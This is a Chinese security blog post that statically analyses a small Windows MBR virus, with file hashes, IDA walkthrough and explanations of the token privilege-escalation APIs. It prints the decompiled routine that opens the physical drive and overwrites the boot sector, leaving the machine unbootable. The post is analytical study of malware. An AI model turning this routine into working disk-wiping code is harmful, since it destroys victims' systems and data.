freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一个简单的MBR病毒
2023-03-23 12:57:41
所属地 辽宁省

一、病毒简介

文件名称
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
文件类型(Magic)
PE32 executable (console) Intel 80386, for MS Windows
文件大小
36.00KB
SHA256
c18f63a2f3ded440e254fd992f84adb4bed8b0137cc1045d67bbd85b8222b57d
SHA1
d164561158ae4bb75512a34f06521a7203ba64a9
MD5
955b66c722ca993dd11fbe56bbf92525
CRC32
31E79506
SSDEEP
384:ePjkT1e0/tmFfC92xAgl1PjfvjKrC9hW6yilkKzJWt:ojkY0/EF6CXPjfx46Dl/JWt
ImpHash
9a06fce838eff426c6ee75ab22366372

二、环境准备

操作系统

调试工具

Win7x86

IDA

三、静态分析

因为这个病毒很简单,所以没有行为分析,直接看源代码就好了,把样本拖入到PEID中,无壳,VC6++写的:

直接拖到IDA,进入main函数:

可以看到只有俩个函数,先看第一个,参数SeDebugPrivilege是Windows字符权限名称,大概已经知道第一个函数是干嘛的了,进入sub_401000中:

很明显一个提权代码,通过GetCurrentProcess获取当前句柄,然后获取进程访问令牌的句柄,函数原型如下:

BOOL OpenProcessToken(
HANDLE    ProcessHandle,    //要修改访问权限的进程句柄
DWORD    DesiredAccess,        //指定你要进行的操作类型
PHANDLE    TokenHandle       //返回的访问令牌指针
);

然后获取权限对应的LUID值,这就要用到另外一个API函数LookupPrivilegevalue,其原形如下:

BOOL LookupPrivilegevalue(
LPCTSTR lpSystemName, // system name
LPCTSTR lpName, // privilege name
PLUID lpLuid // locally unique identifier
);
第一个参数是系统的名称,如果是本地系统只要指明为NULL就可以了,第三个参数就是返回LUID的指针,第二个参数就是指明了权限的名称,如“SeDebugPrivilege”。

接下来就是通过AdjustTokenPrivileges修改权限了:

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, // handle to token
BOOL DisableAllPrivileges, // disabling option
PTOKEN_PRIVILEGES NewState, // privilege information
DWORD BufferLength, // size of buffer
PTOKEN_PRIVILEGES PreviousState, // original state buffer
PDWORD ReturnLength // required buffer size
);
第一个参数是访问令牌的句柄;第二个参数决定是进行权限修改还是除能(Disable)所有权限;第三个参数指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作; 第四个参数是结构PreviousState的长度,如果PreviousState为空,该参数应为NULL;第五个参数也是一个指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息,可空;最后一个参数为实际PreviousState结构返回的大小。

完事返回上层,我们看下一个函数sub_401090:

这里首先是一个内存清空操作,然后对Buffer进行了填充拷贝,我们去看qmemcpy第二个参数:

可以看到一串字符串,L am virus!,** you,接下来看其他函数:

HANDLE __cdecl sub_401090()
{
HANDLE result; // eax@1
HANDLE v1; // esi@1
DWORD BytesReturned; // [sp+8h] [bp-208h]@2
DWORD NumberOfBytesWritten; // [sp+Ch] [bp-204h]@2
char Buffer; // [sp+10h] [bp-200h]@1
char v5; // [sp+11h] [bp-1FFh]@1
__int16 v6; // [sp+20Dh] [bp-3h]@1
char v7; // [sp+20Fh] [bp-1h]@1

memset(&v5, 0, 0x1FCu);
v6 = 0;
qmemcpy(&Buffer, &byte_406030, 0x30u);
HIBYTE(v6) = 85;
v7 = -86;
result = CreateFileA(FileName, 0xC0000000, 3u, 0, 3u, 0, 0);
v1 = result;
if ( result != (HANDLE)-1 )
{
DeviceIoControl(result, 0x90018u, 0, 0, 0, 0, &BytesReturned, 0);
WriteFile(v1, &Buffer, 0x200u, &NumberOfBytesWritten, 0);
DeviceIoControl(v1, 0x9001Cu, 0, 0, 0, 0, &BytesReturned, 0);
CloseHandle(v1);
ExitProcess(0xFFFFFFFF);
}
return result;
}

接下来是一个CreateFileA获取句柄,看看FileName:

这是MBR所在的磁盘驱动器,这里很明显要对MBR进行操作。然后就是通过DeviceIoControl 将控制代码直接发送到指定的设备驱动程序,使相应的设备执行相应的操作。然后哦就是写入操作,把Buffer中的内容写进去,没了。
就俩函数,一个提权,一个写入,我们运行一下试试(当然,这里提权没有成功,):

啥反应没有,然后我们重启计算机就会发现无法正常开机。

# 漏洞 # 渗透测试 # 黑客 # 漏洞分析 # CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录